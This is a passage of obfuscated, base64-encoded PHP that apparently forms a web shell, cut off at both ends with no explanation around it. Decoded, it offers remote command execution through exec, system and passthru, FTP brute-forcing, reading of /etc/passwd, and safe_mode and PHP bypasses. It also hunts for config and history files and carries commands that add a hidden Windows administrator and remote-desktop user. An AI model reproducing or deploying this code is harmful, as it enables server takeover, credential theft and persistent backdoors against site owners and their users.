+J0ZUUC1zNXJ2NXI6cDJydCcsDQonNW5nX3Q1eHQ4OSc9PidGNGw1IDJuIGZ0cCcsDQonNW5nX3Q1eHQ5MCc9PidUcjFuc2Y1ciBtMmQ1JywNCic1bmdfdDV4dDk2Jz0+J0FyY2g0djF0NDJuJywNCic1bmdfdDV4dDlhJz0+J3c0dGgyM3QgMXJjaDR2MXQ0Mm4nLA0KJzVuZ190NXh0OW8nPT4nRlRQJywNCic1bmdfdDV4dDl1Jz0+J0ZUUC1icjN0NWYycmM1JywNCic1bmdfdDV4dDlpJz0+J1VzNXJzIGw0c3QnLA0KJzVuZ190NXh0OWUnPT4nQzFuXCd0IGc1dCAzczVycyBsNHN0JywNCic1bmdfdDV4dDk3Jz0+J2NoNWNrNWQ6ICcsDQonNW5nX3Q1eHQ5OCc9PidzM2NjNXNzOiAnLA0KJzVuZ190NXh0OTknPT4nKiAzczUgM3M1cm4xbTUgZnIybSAvNXRjL3Axc3N3ZCBmMnIgZnRwIGwyZzRuIDFuZCBwMXNzdzJyZCcsDQonNW5nX3Q1eHQ2MDAnPT4nUzVuZCBmNGw1IHQyIHI1bTJ0NSBmdHAgczVydjVyJywNCic1bmdfdDV4dDYwNic9PidVczUgcjV2NXJzNSAoM3M1ciAtPiByNXMzKSBsMmc0biBmMnIgcDFzc3cycmQnLA0KJzVuZ190NXh0NjA5Jz0+J0g0ZDUnLA0KJzVuZ190NXh0NjYwJz0+J1NoMncnLA0KJzVuZ190NXh0NjY2Jz0+J1NRTC1TNXJ2NXIgOiBQMnJ0JywNCg0KJzVuZ190NXh0NjZpJz0+JycsDQonNW5nX3Q1eHQ2NmUnPT4nQzJweSBmcjJtJywNCic1bmdfdDV4dDY2Nyc9Pid0MicsDQonNW5nX3Q1eHQ2NjgnPT4nRjRsNSBjMnA0NWQnLA0KJzVuZ190NXh0NjY5Jz0+J0MxbnQgYzJweSBmNGw1JywNCic1bmdfdDV4dDZhMCc9PidTUUwtUzVydjVyJywNCic1bmdfdDV4dDZhNic9PidWYjNsbDV0NG4gRDVmMWM1JywNCic1bmdfdDV4dDZhYSc9PidsbiAtcycsDQonNW5nX3Q1eHQ2YW8nPT4nQnIzdDUgQ3AxbjVsIEFjYzIzbnQnLA0KJzVuZ190NXh0NmF1Jz0+J0FiMjN0IG01JywNCic1bmdfdDV4dDZhaSc9PidCeXAxc3MgcGhwIGkuYS5lJywNCic1bmdfdDV4dDZhNyc9PidCeXAxc3MgcGhwIGkuYS45JywNCic1bmdfdDV4dDZhOCc9PidENXN0cjJ5IGY0bDUuLi4uJywNCic1bmdfdDV4dDZhOSc9PidVczVmM2wnLA0KJzVuZ190NXh0Nm8wJz0+J0Qyd25sMjFkNXJzJywNCic1bmdfdDV4dDZvNic9PidQSFAgQnlwMXNzJywNCic1bmdfNXJyMCc9PidFcnIyciEgQzFuXCd0IHdyNHQ1IDRuIGY0bDUgJywNCic1bmdfNXJyNic9PidFcnIyciEgQzFuXCd0IHI1MWQgZjRsNSAnLA0KJzVuZ181cnJhJz0+J0VycjJyISBDMW5cJ3QgY3I1MXQ1ICcsDQonNW5nXzVycmknPT4nRXJyMnIhIEMxblwndCBjaDFuZzUgZDRyIDJuIGZ0cCcsDQonNW5nX3Q1eHRhMDAnPT4ncjUxZCBmNGw1IGZyMm0gdjNsIGMycHkoKScsDQonNW5nX3Q1eHRhMGEnPT4nd2g1cjUgZjRsNSA0biBzNXJ2NXInLA0KJzVuZ190NXh0YTBvJz0+J3I1MWQgZjRsNSBmcjJtIHYzbCA0bjRfcjVzdDJyNSgpJywNCic1bmdfdDV4dGEwdSc9PidTaDJ3IGw0c3QgM3M1cnMnLA0KJzVuZ190NXh0YTBpJz0+J3dyNHQ1IHNoNWxsIDRuIHRoNHMgczRkNScsDQonNW5nX3Q1eHRhMGUnPT4ncjUxZCBkNHInLA0KJzVuZ190NXh0YTA3Jz0+J3I1MWQgZDRyIGZyMm0gdjNsIHI1Z19nbDJiJywNCic1bmdfdDV4dGEwOSc9PidyNTFkIGQ0ciBmcjJtIHYzbCByMjJ0JywNCic1bmdfdDV4dGE2MCc9PidENVo1bmQ1ciAnLA0KJzVuZ190NXh0YTY2Jz0+J3MxZjVfbTJkNSAyZmYnLA0KJzVuZ190NXh0YTZhJz0+J0NsMnM1IHMxZjVfbTJkNSB3NHRoIHBocC40bjQnLA0KJzVuZ190NXh0YTZvJz0+J0NsMnM1IHM1YzNyNHR5X20yZCB3NHRoIC5odDFjYzVzcycsDQonNW5nX3Q1eHRhNjgnPT4nd3I0dDUgNG40LnBocCBmNGw1IHQyIGNsMnM1IHMxZjVfbTJkNSB3NHRoIDRuNF9yNXN0MnI1IHYzbCcsDQonNW5nX3Q1eHRhNjknPT4nRzV0IGY0bDUgdDIgczVydjVyIDRuIHMxZjVfbTJkNSAxbmQgY2gxbmc1IG4xbTUnLA0KJzVuZ190NXh0YWFvJz0+J3I1MWQgZjRsNSBmcjJtIGYzbmMzdDQybicsDQonNW5nX3Q1eHRhYXUnPT4ncjUxZCBmNGw1IGZyMm0gUExVR0lOJywNCic1bmdfdDV4dGFhZScgPT4gJ1dyNHQ1IHQyIGY0bDUnLA0KJzVuZ190NXh0YW8wJyA9PiAnNDJuQzNiNSA1eHQ1bnM0Mm4gczFmNV9tMmQ1IGJ5cDFzcycsDQonNW5nX3Q1eHRhbzYnID0+ICd3NG5vYXN0ZCA1eHQ1bnM0Mm4gczFmNV9tMmQ1IGJ5cDFzcycsDQonNW5nX3Q1eHRhb2EnID0+ICd3NG5vYXM1cnY0YzUgNXh0NW5zNDJuIHMxZjVfbTJkNSBieXAxc3MnLA0KJzVuZ190NXh0YW9vJyA9PiAncDVybCA1eHQ1bnM0Mm4gczFmNV9tMmQ1IGJ5cDFzcycsDQonNW5nX3Q1eHRhb3UnID0+ICdGRkkgNXh0NW5zNDJuIHMxZjVfbTJkNSBieXAxc3MnLA0KJzVuZ19iM3R0ZWknPT4nV3I0dDUnLA0KKTsNCiANCiQxbDQxczVzPTFycjF5KA0KJ19fX19fX19fX19fX19fX19mMnIgczVydjVyIDNuNHggX19fX19fX19fX19fX18tJz0+J2Q0ciAtMTInLA0KJ2Y0bmQgYzJuZjRnKiBmNGw1cyc9PidmNG5kIC8gLXR5cDUgZiAtbjFtNSAiYzJuZjRnKiInLA0KJ2Y0bmQgYzJuZjRnKiBmNGw1cyA0biBjM3JyNW50IGQ0cic9PidmNG5kIC4gLXR5cDUgZiAtbjFtNSAiYzJuZjRnKiInLA0KJ2Y0bmQgMWxsIHdyNHQxYmw1IGY0bDVzJz0+J2Y0bmQgLyAtdHlwNSBmIC1wNXJtIC1hIC1scycsDQonZjRuZCAxbGwgd3I0dDFibDUgZjRsNXMgNG4gYzNycjVudCBkNHInPT4nZjRuZCAuIC10eXA1IGYgLXA1cm0gLWEgLWxzJywNCidmNG5kIDFsbCB3cjR0MWJsNSBkNHI1Y3QycjQ1cyc9PidmNG5kIC8gIC10eXA1IGQgLXA1cm0gLWEgLWxzJywNCidmNG5kIDFsbCB3cjR0MWJsNSBkNHI1Y3QycjQ1cyA0biBjM3JyNW50IGQ0cic9PidmNG5kIC4gLXR5cDUgZCAtcDVybSAtYSAtbHMnLA0KJ2Y0bmQgMWxsIHdyNHQxYmw1IGQ0cjVjdDJyNDVzIDFuZCBmNGw1cyc9PidmNG5kIC8gLXA1cm0gLWEgLWxzJywNCidmNG5kIDFsbCB3cjR0MWJsNSBkNHI1Y3QycjQ1cyAxbmQgZjRsNXMgNG4gYzNycjVudCBkNHInPT4nZjRuZCAuIC1wNXJtIC1hIC1scycsDQonZjRuZCAxbGwgczVydjRjNS5wd2QgZjRsNXMnPT4nZjRuZCAvIC10eXA1IGYgLW4xbTUgczVydjRjNS5wd2QnLA0KJ2Y0bmQgczVydjRjNS5wd2QgZjRsNXMgNG4gYzNycjVudCBkNHInPT4nZjRuZCAuIC10eXA1IGYgLW4xbTUgczVydjRjNS5wd2QnLA0KJ2Y0bmQgMWxsIC5iMXNoX2g0c3QycnkgZjRsNXMnPT4nZjRuZCAvIC10eXA1IGYgLW4xbTUgLmIxc2hfaDRzdDJyeScsDQonZjRuZCAuYjFzaF9oNHN0MnJ5IGY0bDVzIDRuIGMzcnI1bnQgZDRyJz0+J2Y0bmQgLiAtdHlwNSBmIC1uMW01IC5iMXNoX2g0c3QycnknLA0KJ2Y0bmQgMWxsIC5teXNxbF9oNHN0MnJ5IGY0bDVzJz0+J2Y0bmQgLyAtdHlwNSBmIC1uMW01IC5teXNxbF9oNHN0MnJ5JywNCidmNG5kIC5teXNxbF9oNHN0MnJ5IGY0bDVzIDRuIGMzcnI1bnQgZDRyJz0+J2Y0bmQgLiAtdHlwNSBmIC1uMW01IC5teXNxbF9oNHN0MnJ5JywNCidzaDJ3IDJwNW41ZCBwMnJ0cyc9PiduNXRzdDF0IC0xbiB8IGdyNXAgLTQgbDRzdDVuJywNCidfX19fX19fX19fX19fX19fZjJyIHM1cnY1ciB3NG5kMndzIF9fX19fX19fX19fX19fLSc9PidkNHInLA0KJzZfMWRkIG41dyAzczVyJz0+J241dCAzczVyIGwzM3R5dDNuIDZhbzZhbyAvMWRkJywNCidhXzFkZCB5MjNyIDNzNXIgZjJyIDFkbTRuIGdyMjNwJz0+J241dCBsMmMxbGdyMjNwIDFkbTRuNHN0cjF0MnJzIEwzM1R5VDNuIC8xZGQnLA0KJ29fMWRkIHkyM3IgM3M1ciBmMnIgUjVtMnQ1IEQ1c2t0MnAgZ3IyM3AnPT4nbjV0IGwyYzFsZ3IyM3AgIlI1bTJ0NSBENXNrdDJwIFVzNXJzIiBMMzNUeVQzbiAvMWRkJywNCictLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tJz0+J2xzIC1sMScNCik7DQokdDFibDVfM3A2ICA9ICI8dHI+PHRkIGNsMXNzPW0xNG4gYmdjMmwycj1CbDFjaw0KPjxmMm50IGYxYzU9VjVyZDFuMSBzNHo1PS1hPjxiPjxkNHYgY2wxc3M9dHQgMWw0Z249YzVudDVyPjo6ICI7DQokdDFibDVfM3BhICA9ICIgOjo8L2Q0dj48L2I+PC9mMm50PjwvdGQ+PC90cj48dHI+PHRkIGNsMXNzPW0xNG4+IjsNCiR0MWJsNV8zcG8gID0gIjx0MWJsNSB3NGR0aD02MDAlIGM1bGxwMWRkNG5nPTAgYzVsbHNwMWM0bmc9MCBiZ2MybDJyPUJsMWNrPjx0cj48dGQgY2wxc3M9bTE0bj4iOw0KJHQxYmw1XzVuZDYgPSAiPC90ZD48L3RyPiI7DQokMXJyMncgPSAiIDxmMm50IGYxYzU9VzViZDRuZ3MgYzJsMnI9I2ExZmYwMD51PC9mMm50PiI7DQokbGIgPSAiPGYybnQgYzJsMnI9I2ExZmYwMD5bPC9mMm50PiI7DQokcmIgPSAiPGYybnQgYzJsMnI9I2ExZmYwMD5dPC9mMm50PiI7DQokZjJudCA9ICI8ZjJudCBmMWM1PVY1cmQxbjEgczR6NT0tYT4iOw0KJHRzID0gIjx0MWJsNSBjbDFzcz10MWJsNTYgdzRkdGg9NjAwJSAxbDRnbj1jNW50NXI+IjsNCiR0NSA9ICI8L3QxYmw1PiI7DQokZnMgPSAiPGYycm0gbjFtNT1mMnJtIG01dGgyZD1QT1NUPiI7DQokZjUgPSAiPC9mMnJtPiI7DQoNCjRmKDRzczV0KCRfR0VUWyczczVycyddKSkNCiB7DQogNWNoMiAkaDUxZDsNCiA0ZighJDNzNXJzPWc1dF8zczVycygpKSB7IDVjaDIgIjxjNW50NXI+PGYybnQgZjFjNT1WNXJkMW4xIHM0ejU9LWEgYzJsMnI9I2ExZmYwMD4iLiRsMW5nWyRsMW5nMzFnNS4nX3Q1eHQ5ZSddLiI8L2YybnQ+PC9jNW50NXI+IjsgfQ0KIDVsczUNCiAgew0KICA1Y2gyICc8YzVudDVyPjx0NXh0MXI1MSBjMmxzPWEwIHIyd3M9YTA+JzsNCiAgZjJyNTFjaCgkM3M1cnMgMXMgJDNzNXIpIHsgNWNoMiAkM3M1ci4iXG4iOyB9DQogIDVjaDIgJzwvdDV4dDFyNTE+PC9jNW50NXI+JzsNCiAgfQ0KIDVjaDIgIjxkNHYgMWw0Z249YzVudDVyPjxicj48Yj48MSBocjVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj9icjN0NSZsMzN0eXQzbj1jcjFjaz48ZjJudCBzNHo1PWkgYzJsMnI9UjVkPkJSVVRFIElUITwvZjJudD48L2I+PC8xPjxicj48YnI+PGYybnQgZjFjNT1WNXJkMW4xIHM0ejU9LWE+PGI+WyA8MSBocjVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj5CQUNLPC8xPiBdPC9iPjwvZjJudD48L2Q0dj4iOyBkNDUoKTsNCiB9DQoNCjRmICghNW1wdHkoJF9QT1NUWydkNHInXSkpIHsgQGNoZDRyKCRfUE9TVFsnZDRyJ10pOyB9DQokZDRyID0gQGc1dGN3ZCgpOw0KJDNuNHggPSAwOw0KNGYoc3RybDVuKCRkNHIpPjYgJiYgJGQ0cls2XT09IjoiKSAkM240eD0wOyA1bHM1ICQzbjR4PTY7DQo0Zig1bXB0eSgkZDRyKSkNCiB7DQogJDJzID0gZzV0NW52KCdPUycpOw0KIDRmKDVtcHR5KCQycykpeyAkMnMgPSBwaHBfM24xbTUoKTsgfQ0KIDRmKDVtcHR5KCQycykpeyAkMnMgPSItIjsgJDNuNHg9NjsgfQ0KIDVsczUNCiAgICB7DQogICAgNGYoQDVyNWc0KCJedzRuIiwkMnMpKSB7ICQzbjR4ID0gMDsgfQ0KICAgIDVsczUgeyAkM240eCA9IDY7IH0NCiAgICB9DQogfQ0KNGYoITVtcHR5KCRfUE9TVFsnc19kNHInXSkgJiYgITVtcHR5KCRfUE9TVFsnc190NXh0J10pICYmICE1bXB0eSgkX1BPU1RbJ2NtZCddKSAmJiAkX1BPU1RbJ2NtZCddID09ICJzNTFyY2hfdDV4dCIpDQogIHsNCiAgICA1Y2gyICRoNTFkOw0KICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3NfbTFzayddKSAmJiAhNW1wdHkoJF9QT1NUWydtJ10pKSB7ICRzciA9IG41dyBTNTFyY2hSNXMzbHQoJF9QT1NUWydzX2Q0ciddLCRfUE9TVFsnc190NXh0J10sJF9QT1NUWydzX20xc2snXSk7IH0NCiAgICA1bHM1IHsgJHNyID0gbjV3IFM1MXJjaFI1czNsdCgkX1BPU1RbJ3NfZDRyJ10sJF9QT1NUWydzX3Q1eHQnXSk7IH0NCiAgICAkc3ItPlM1MXJjaFQ1eHQoMCwwKTsNCiAgICAkcjVzID0gJHNyLT5HNXRSNXMzbHRGNGw1cygpOw0KICAgICRmMjNuZCA9ICRzci0+RzV0TTF0Y2g1c0MyM250KCk7DQogICAgJHQ0dGw1cyA9ICRzci0+RzV0VDR0bDVzKCk7DQogICAgJHIgPSAiIjsNCiAgICA0ZigkZjIzbmQgPiAwKQ0KICAgIHsNCiAgICAgICRyIC49ICI8VEFCTEUgdzRkdGg9NjAwJT4iOw0KICAgICAgZjJyNTFjaCgkcjVzIDFzICRmNGw1PT4kdikNCiAgICAgIHsNCiAgICAgICAgJHIgLj0gIjxUUj4iOw0KICAgICAgICAkciAuPSAiPFREIGNsMXNzPW0xNG4gYzJsc3Axbj1hPjxmMm50IGYxYzU9VjVyZDFuMSBzNHo1PS1hPjxiPiIud3Mobyk7DQogICAgICAgICRyIC49ICghJDNuNHgpPyBzdHJfcjVwbDFjNSgiLyIsIlxcIiwkZjRsNSkgOiAkZjRsNTsNCiAgICAgICAgJHIgLj0gIjwvYj48L2YybnQ+PC8gVEQ+IjsNCiAgICAgICAgJHIgLj0gIjwvVFI+IjsNCiAgICAgICAgZjJyNTFjaCgkdiAxcyAkMT0+JGIpDQogICAgICAgIHsNCiAgICAgICAgICAkciAuPSAiPFRSPiI7DQogICAgICAgICAgJHIgLj0gIjxURCBjbDFzcz1tMTRuIDFsNGduPWM1bnQ1cj48Qj48ZjJudCBmMWM1PVY1cmQxbjEgczR6NT0tYT4iLiQxLiI8L2YybnQ+PC9CPjwvVEQ+IjsNCiAgICAgICAgICAkciAuPSAiPFREIGNsMXNzPW0xNG4+PGYybnQgZjFjNT1WNXJkMW4xIHM0ejU9LWE+Ii53cyhhKS4kYi4iPC9mMm50PjwvVEQ+IjsNCiAgICAgICAgICAkciAuPSAiPC9UUj5cbiI7DQogICAgICAgIH0NCiAgICAgIH0NCiAgICAgICRyIC49ICI8L1RBQkxFPiI7DQogICAgNWNoMiAkcjsNCiAgICB9DQogICAgNWxzNQ0KICAgIHsNCiAgICAgIDVjaDIgIjxQIDFsNGduPWM1bnQ1cj48Qj48ZjJudCBmMWM1PVY1cmQxbjEgczR6NT0tYT4iLiRsMW5nWyRsMW5nMzFnNS4nX3Q1eHRpZSddLiI8L0I+PC9mMm50PjwvUD4iOw0KICAgIH0NCiAgNWNoMiAiPGJyPjxkNHYgMWw0Z249YzVudDVyPjxmMm50IGYxYzU9VjVyZDFuMSBzNHo1PS1hPjxiPlsgPDEgaHI1Zj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI+QkFDSzwvMT4gXTwvYj48L2YybnQ+PC9kNHY+IjsNCiAgZDQ1KCk7DQogIH0NCjRmKCEkczFmNV9tMmQ1ICYmIHN0cnAycyg1eCgiNWNoMiAxYmNyaTciKSwicmk3IikhPW8pIHsgJHMxZjVfbTJkNSA9IDY7IH0NCiRTRVJWRVJfU09GVFdBUkUgPSBnNXQ1bnYoJ1NFUlZFUl9TT0ZUV0FSRScpOw0KNGYoNW1wdHkoJFNFUlZFUl9TT0ZUV0FSRSkpeyAkU0VSVkVSX1NPRlRXQVJFID0gIi0iOyB9DQpmM25jdDQybiB3cygkNCkNCnsNCnI1dDNybiBAc3RyX3I1cDUxdCgiICIsJDQpOw0KfQ0KZjNuY3Q0Mm4gNXgoJGNmNSkNCnsNCiAkcjVzID0gJyc7DQogNGYgKCE1bXB0eSgkY2Y1KSkNCiB7DQogIDRmKGYzbmN0NDJuXzV4NHN0cygnNXg1YycpKQ0KICAgew0KICAgIEA1eDVjKCRjZjUsJHI1cyk7DQogICAgJHI1cyA9IGoyNG4oIlxuIiwkcjVzKTsNCiAgIH0NCiAgNWxzNTRmKGYzbmN0NDJuXzV4NHN0cygnc2g1bGxfNXg1YycpKQ0KICAgew0KICAgICRyNXMgPSBAc2g1bGxfNXg1YygkY2Y1KTsNCiAgIH0NCiAgNWxzNTRmKGYzbmN0NDJuXzV4NHN0cygnc3lzdDVtJykpDQogICB7DQogICAgQDJiX3N0MXJ0KCk7DQogICAgQHN5c3Q1bSgkY2Y1KTsNCiAgICAkcjVzID0gQDJiX2c1dF9jMm50NW50cygpOw0KICAgIEAyYl81bmRfY2w1MW4oKTsNCiAgIH0NCiAgNWxzNTRmKGYzbmN0NDJuXzV4NHN0cygncDFzc3RocjMnKSkNCiAgIHsNCiAgICBAMmJfc3QxcnQoKTsNCiAgICBAcDFzc3RocjMoJGNmNSk7DQogICAgJHI1cyA9IEAyYl9nNXRfYzJudDVudHMoKTsNCiAgICBAMmJfNW5kX2NsNTFuKCk7DQogICB9DQogIDVsczU0ZihANHNfcjVzMjNyYzUoJGYgPSBAcDJwNW4oJGNmNSwiciIpKSkNCiAgew0KICAgJHI1cyA9ICIiOw0KICAgd2g0bDUoIUBmNTJmKCRmKSkgeyAkcjVzIC49IEBmcjUxZCgkZiw2MGF1KTsgfQ0KICAgQHBjbDJzNSgkZik7DQogIH0NCiB9DQogcjV0M3JuICRyNXM7DQp9DQpmM25jdDQybiBnNXRfM3M1cnMoKQ0Kew0KICAkM3M1cnMgPSAxcnIxeSgpOw0KNGYgKGY0bDVfNXg0c3RzKCdwMXNzd2QudHh0JykpIHsNCiAkcjJ3cz1mNGw1KCdwMXNzd2QudHh0Jyk7DQogIH0gNWxzNSB7DQogJHIyd3M9ZjRsNSgnLzV0Yy9wMXNzd2QnKTsNCiAgfQ0KICA0ZighJHIyd3MpIHI1dDNybiAwOw0KICBmMnI1MWNoICgkcjJ3cyAxcyAkc3RyNG5nKQ0KICAgew0KICAgCSQzczVyID0gQDV4cGwyZDUoIjoiLCRzdHI0bmcpOw0KICAgCTRmKHMzYnN0cigkc3RyNG5nLDAsNikhPScjJykgMXJyMXlfcDNzaCgkM3M1cnMsJDNzNXJbMF0pOw0KICAgfQ0KICByNXQzcm4gJDNzNXJzOw0KfQ0KZjNuY3Q0Mm4gNXJyKCRuLCR0eHQ9JycpDQp7DQo1Y2gyICc8dDFibDUgdzRkdGg9NjAwJSBjNWxscDFkZDRuZz0wIGM1bGxzcDFjNG5nPTA+PHRyPjx0ZCBjbDFzcz1tMTRuIGJnYzJsMnI9QmwxY2s+PGYybnQgYzJsMnI9UjVkIGYxYzU9VjVyZDFuMSBzNHo1PS1hPjxkNHYgMWw0Z249YzVudDVyPjxiPic7DQo1Y2gyICRHTE9CQUxTWydsMW5nJ11bJEdMT0JBTFNbJ2wxbmczMWc1J10uJ181cnInLiRuXTsNCjRmKCE1bXB0eSgkdHh0KSkgeyA1Y2gyICIgJHR4dCI7IH0NCjVjaDIgJzwvYj48L2Q0dj48L2YybnQ+PC90ZD48L3RyPjwvdDFibDU+JzsNCnI1dDNybiBuM2xsOw0KfQ0KZjNuY3Q0Mm4gcDVybXMoJG0yZDUpDQp7DQo0ZiAoISRHTE9CQUxTWyczbjR4J10pIHI1dDNybiAwOw0KNGYoICRtMmQ1ICYgMHg2MDAwICkgeyAkdHlwNT0ncCc7IH0NCjVsczUgNGYoICRtMmQ1ICYgMHhhMDAwICkgeyAkdHlwNT0nYyc7IH0NCjVsczUgNGYoICRtMmQ1ICYgMHh1MDAwICkgeyAkdHlwNT0nZCc7IH0NCjVsczUgNGYoICRtMmQ1ICYgMHhlMDAwICkgeyAkdHlwNT0nYic7IH0NCjVsczUgNGYoICRtMmQ1ICYgMHg4MDAwICkgeyAkdHlwNT0nLSc7IH0NCjVsczUgNGYoICRtMmQ1ICYgMHhBMDAwICkgeyAkdHlwNT0nbCc7IH0NCjVsczUgNGYoICRtMmQ1ICYgMHhDMDAwICkgeyAkdHlwNT0ncyc7IH0NCjVsczUgJHR5cDU9JzMnOw0KJDJ3bjVyWyJyNTFkIl0gPSAoJG0yZDUgJiAwMHUwMCkgPyAncicgOiAnLSc7DQokMnduNXJbIndyNHQ1Il0gPSAoJG0yZDUgJiAwMGEwMCkgPyAndycgOiAnLSc7DQokMnduNXJbIjV4NWMzdDUiXSA9ICgkbTJkNSAmIDAwNjAwKSA/ICd4JyA6ICctJzsNCiRncjIzcFsicjUxZCJdID0gKCRtMmQ1ICYgMDAwdTApID8gJ3InIDogJy0nOw0KJGdyMjNwWyJ3cjR0NSJdID0gKCRtMmQ1ICYgMDAwYTApID8gJ3cnIDogJy0nOw0KJGdyMjNwWyI1eDVjM3Q1Il0gPSAoJG0yZDUgJiAwMDA2MCkgPyAneCcgOiAnLSc7DQokdzJybGRbInI1MWQiXSA9ICgkbTJkNSAmIDAwMDB1KSA/ICdyJyA6ICctJzsNCiR3MnJsZFsid3I0dDUiXSA9ICgkbTJkNSAmIDAwMDBhKSA/ICd3JyA6ICctJzsNCiR3MnJsZFsiNXg1YzN0NSJdID0gKCRtMmQ1ICYgMDAwMDYpID8gJ3gnIDogJy0nOw0KNGYoICRtMmQ1ICYgMHg4MDAgKSAkMnduNXJbIjV4NWMzdDUiXSA9ICgkMnduNXJbJzV4NWMzdDUnXT09J3gnKSA/ICdzJyA6ICdTJzsNCjRmKCAkbTJkNSAmIDB4dTAwICkgJGdyMjNwWyI1eDVjM3Q1Il0gPSAoJGdyMjNwWyc1eDVjM3Q1J109PSd4JykgPyAncycgOiAnUyc7DQo0ZiggJG0yZDUgJiAweGEwMCApICR3MnJsZFsiNXg1YzN0NSJdID0gKCR3MnJsZFsnNXg1YzN0NSddPT0neCcpID8gJ3QnIDogJ1QnOw0KJHM9c3ByNG50ZigiJTZzIiwgJHR5cDUpOw0KJHMuPXNwcjRudGYoIiU2cyU2cyU2cyIsICQyd241clsncjUxZCddLCAkMnduNXJbJ3dyNHQ1J10sICQyd241clsnNXg1YzN0NSddKTsNCiRzLj1zcHI0bnRmKCIlNnMlNnMlNnMiLCAkZ3IyM3BbJ3I1MWQnXSwgJGdyMjNwWyd3cjR0NSddLCAkZ3IyM3BbJzV4NWMzdDUnXSk7DQokcy49c3ByNG50ZigiJTZzJTZzJTZzIiwgJHcycmxkWydyNTFkJ10sICR3MnJsZFsnd3I0dDUnXSwgJHcycmxkWyc1eDVjM3Q1J10pOw0KcjV0M3JuIHRyNG0oJHMpOw0KfQ0KZjNuY3Q0Mm4gNG4oJHR5cDUsJG4xbTUsJHM0ejUsJHYxbDM1LCRjaDVjazVkPTApDQp7DQogJHI1dCA9ICI8NG5wM3QgdHlwNT0iLiR0eXA1LiIgbjFtNT0iLiRuMW01LiIgIjsNCiA0ZigkczR6NSAhPSAwKSB7ICRyNXQgLj0gInM0ejU9Ii4kczR6NS4iICI7IH0NCiAkcjV0IC49ICJ2MWwzNT1cIiIuJHYxbDM1LiJcIiI7DQogNGYoJGNoNWNrNWQpICRyNXQgLj0gIiBjaDVjazVkIjsNCiByNXQzcm4gJHI1dC4iPiI7DQp9DQpmM25jdDQybiB3aDRjaCgkcHIpDQp7DQokcDF0aCA9IDV4KCJ3aDRjaCAkcHIiKTsNCjRmKCE1bXB0eSgkcDF0aCkpIHsgcjV0M3JuICRwMXRoOyB9IDVsczUgeyByNXQzcm4gJHByOyB9DQp9DQpmM25jdDQybiBjZigkZm4xbTUsJHQ1eHQpDQp7DQogJHdfZjRsNT1AZjJwNW4oJGZuMW01LCJ3IikgMnIgNXJyKDApOw0KIDRmKCR3X2Y0bDUpDQogew0KIEBmcDN0cygkd19mNGw1LEBiMXM1ZXVfZDVjMmQ1KCR0NXh0KSk7DQogQGZjbDJzNSgkd19mNGw1KTsNCiB9DQp9DQpmM25jdDQybiBzcigkbCwkdDYsJHRhKQ0KIHsNCiByNXQzcm4gIjx0ciBjbDFzcz10cjY+PHRkIGNsMXNzPXRkNiB3NGR0aD0iLiRsLiIlIDFsNGduPXI0Z2h0PiIuJHQ2LiI8L3RkPjx0ZCBjbDFzcz10ZDYgMWw0Z249bDVmdD4iLiR0YS4iPC90ZD48L3RyPiI7DQogfQ0KNGYgKCFAZjNuY3Q0Mm5fNXg0c3RzKCJ2NDV3X3M0ejUiKSkNCnsNCmYzbmN0NDJuIHY0NXdfczR6NSgkczR6NSkNCnsNCiA0ZigkczR6NSA+PSA2MDdvN3U2OGF1KSB7JHM0ejUgPSBAcjIzbmQoJHM0ejUgLyA2MDdvN3U2OGF1ICogNjAwKSAvIDYwMCAuICIgR0IiO30NCiA1bHM1NGYoJHM0ejUgPj0gNjB1OGk3ZSkgeyRzNHo1ID0gQHIyM25kKCRzNHo1IC8gNjB1OGk3ZSAqIDYwMCkgLyA2MDAgLiAiIE1CIjt9DQogNWxzNTRmKCRzNHo1ID49IDYwYXUpIHskczR6NSA9IEByMjNuZCgkczR6NSAvIDYwYXUgKiA2MDApIC8gNjAwIC4gIiBLQiI7fQ0KIDVsczUgeyRzNHo1ID0gJHM0ejUgLiAiIEIiO30NCiByNXQzcm4gJHM0ejU7DQp9DQp9DQogIGYzbmN0NDJuIEQ0ckY0bDVzUigkZDRyLCR0eXA1cz0nJykNCiAgew0KICAgICRmNGw1cyA9IEFycjF5KCk7DQogICAgNGYoKCRoMW5kbDUgPSBAMnA1bmQ0cigkZDRyKSkpDQogICAgew0KICAgICAgd2g0bDUgKGYxbHM1ICE9PSAoJGY0bDUgPSBAcjUxZGQ0cigkaDFuZGw1KSkpDQogICAgICB7DQogICAgICAgIDRmICgkZjRsNSAhPSAiLiIgJiYgJGY0bDUgIT0gIi4uIikNCiAgICAgICAgew0KICAgICAgICAgIDRmKEA0c19kNHIoJGQ0ci4iLyIuJGY0bDUpKQ0KICAgICAgICAgICAgJGY0bDVzID0gQDFycjF5X201cmc1KCRmNGw1cyxENHJGNGw1c1IoJGQ0ci4iLyIuJGY0bDUsJHR5cDVzKSk7DQogICAgICAgICAgNWxzNQ0KICAgICAgICAgIHsNCiAgICAgICAgICAgICRwMnMgPSBAc3RycnAycygkZjRsNSwiLiIpOw0KICAgICAgICAgICAgJDV4dCA9IEBzM2JzdHIoJGY0bDUsJHAycyxAc3RybDVuKCRmNGw1KS0kcDJzKTsNCiAgICAgICAgICAgIDRmKCR0eXA1cykNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgNGYoQDRuXzFycjF5KCQ1eHQsNXhwbDJkNSgnOycsJHR5cDVzKSkpDQogICAgICAgICAgICAgICAgJGY0bDVzW10gPSAkZDRyLiIvIi4kZjRsNTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIDVsczUNCiAgICAgICAgICAgICAgJGY0bDVzW10gPSAkZDRyLiIvIi4kZjRsNTsNCiAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgIH0NCiAgICAgIEBjbDJzNWQ0cigkaDFuZGw1KTsNCiAgICB9DQogICAgcjV0M3JuICRmNGw1czsNCiAgfQ0KICBjbDFzcyBTNTFyY2hSNXMzbHQNCiAgew0KICAgIHYxciAkdDV4dDsNCiAgICB2MXIgJEY0bDVzVDJTNTFyY2g7DQogICAgdjFyICRSNXMzbHRGNGw1czsNCiAgICB2MXIgJEY0bDVzVDJ0MWw7DQogICAgdjFyICRNMXRjaDVzQzIzbnQ7DQogICAgdjF